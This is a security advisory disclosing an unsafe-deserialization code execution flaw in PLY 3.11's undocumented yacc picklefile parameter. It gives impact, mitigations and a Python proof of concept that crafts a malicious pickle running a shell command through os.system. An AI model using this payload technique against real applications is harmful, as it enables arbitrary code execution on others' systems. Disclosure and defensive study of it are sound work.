PLY 3.11 Arbitrary Code Execution
# ? Undocumented Remote Code Execution PLY 3.11 Arbitrary Code Execution
# ? Undocumented Remote Code Execution in PLY CVE?2025?56005
```
CVE ID: CVE?2025?56005
Reported by: Ahmed Abd
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex?Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex?Yacc)
Affected Component:** ply/yacc.py` ? `LRTable.read_pickle()` via `yacc(picklefile=...)`
```
## Summary
An undocumented and unsafe feature in the PyPI?distributed version of **PLY 3.11** allows **arbitrary code execution** when the `yacc()` function is invoked with the `picklefile` parameter.
The `picklefile` parameter causes PLY to deserialize a `.pkl` file using Python?s `pickle.load()` **without validation**. Because Python?s `pickle` module supports execution of arbitrary code during deserialization (e.g., via `__reduce__()`), an attacker who can control the supplied pickle file can execute arbitrary code during parser initialization.
This parameter is **not documented** in the official PLY documentation or GitHub repository, yet it is active in the PyPI release.
---
## Impact
attacker can control, replace, or influence the `.pkl` file passed to `yacc(picklefile=...)`, they can achieve:
* Arbitrary code execution
* Execution during application startup
* Code execution before any parsing logic is reached
This may affect applications that load parser tables from:
* Cached locations
* Shared directories
* CI/CD pipelines
* Configurable or writable paths
---
## ? Vulnerability Details
* **Vulnerability Type:** Arbitrary Code Execution
* **Attack Type:** Context?dependent
* **Attack Vector:** Unsafe deserialization of attacker?controlled pickle file
* **Impact:** Code execution
* **CWE:** CWE?502 (Deserialization of Untrusted Data)
### Affected Functionality
* `ply.yacc.yacc(picklefile=...)`
* `LRTable.read_pickle()` in `ply/yacc.py`
---
## Additional Information (Context & Risk)
This vulnerability presents elevated risk due to its **stealthy nature** and potential for **persistence**.
The `picklefile` parameter is **undocumented** in the official PLY documentation and GitHub repository. However, the PyPI?distributed version of PLY 3.11 includes this functionality and processes the supplied file using `pickle.load()` without validation.
Because Python?s `pickle` module permits execution of embedded code during deserialization, a malicious pickle file can execute arbitrary code **during parser setup**, before any parsing logic is invoked.
At the time of writing, the maintainer has not publicly acknowledged this behavior.
This functionality can be abused to introduce **persistent backdoors**, particularly in environments where parser table files are:
* Cached on disk
* Shared between users or services
* Generated or reused in CI/CD pipelines
* Loaded from configurable or writable paths
Given the lack of documentation, silent execution path, and the high impact of unsafe deserialization, a CVE assignment is warranted to raise awareness and protect downstream users.
---
## Proof of Concept (PoC)
This proof of concept demonstrates arbitrary code execution when a malicious pickle file is supplied via the undocumented `picklefile` parameter.
### PoC Overview
The PoC:
* Defines a minimal lexer and parser
* Crafts a malicious pickle payload
* Executes a system command during deserialization
### Expected Result
When `yacc(picklefile='exploit.pkl')` is invoked, arbitrary code is executed during parser initialization.
```python
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
```
---
## Mitigation
* Do **not** use the `picklefile` parameter with untrusted or externally writable files
* Avoid loading parser tables from user?controlled locations
* Treat all pickle files as **unsafe input**
* Prefer regenerating parser tables rather than loading them from disk
---
## References
* PLY GitHub Repository: [https://github.com/dabeaz/ply](https://github.com/dabeaz/ply)
* PyPI Package: [https://pypi.org/project/ply/](https://pypi.org/project/ply/)
* Python Pickle Documentation: [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)
* Proof of Concept Repository:
[https://github.com/bohmiiidd/Undocumented-RCE-in-PLY](https://github.com/bohmiiidd/Undocumented-RCE-in-PLY)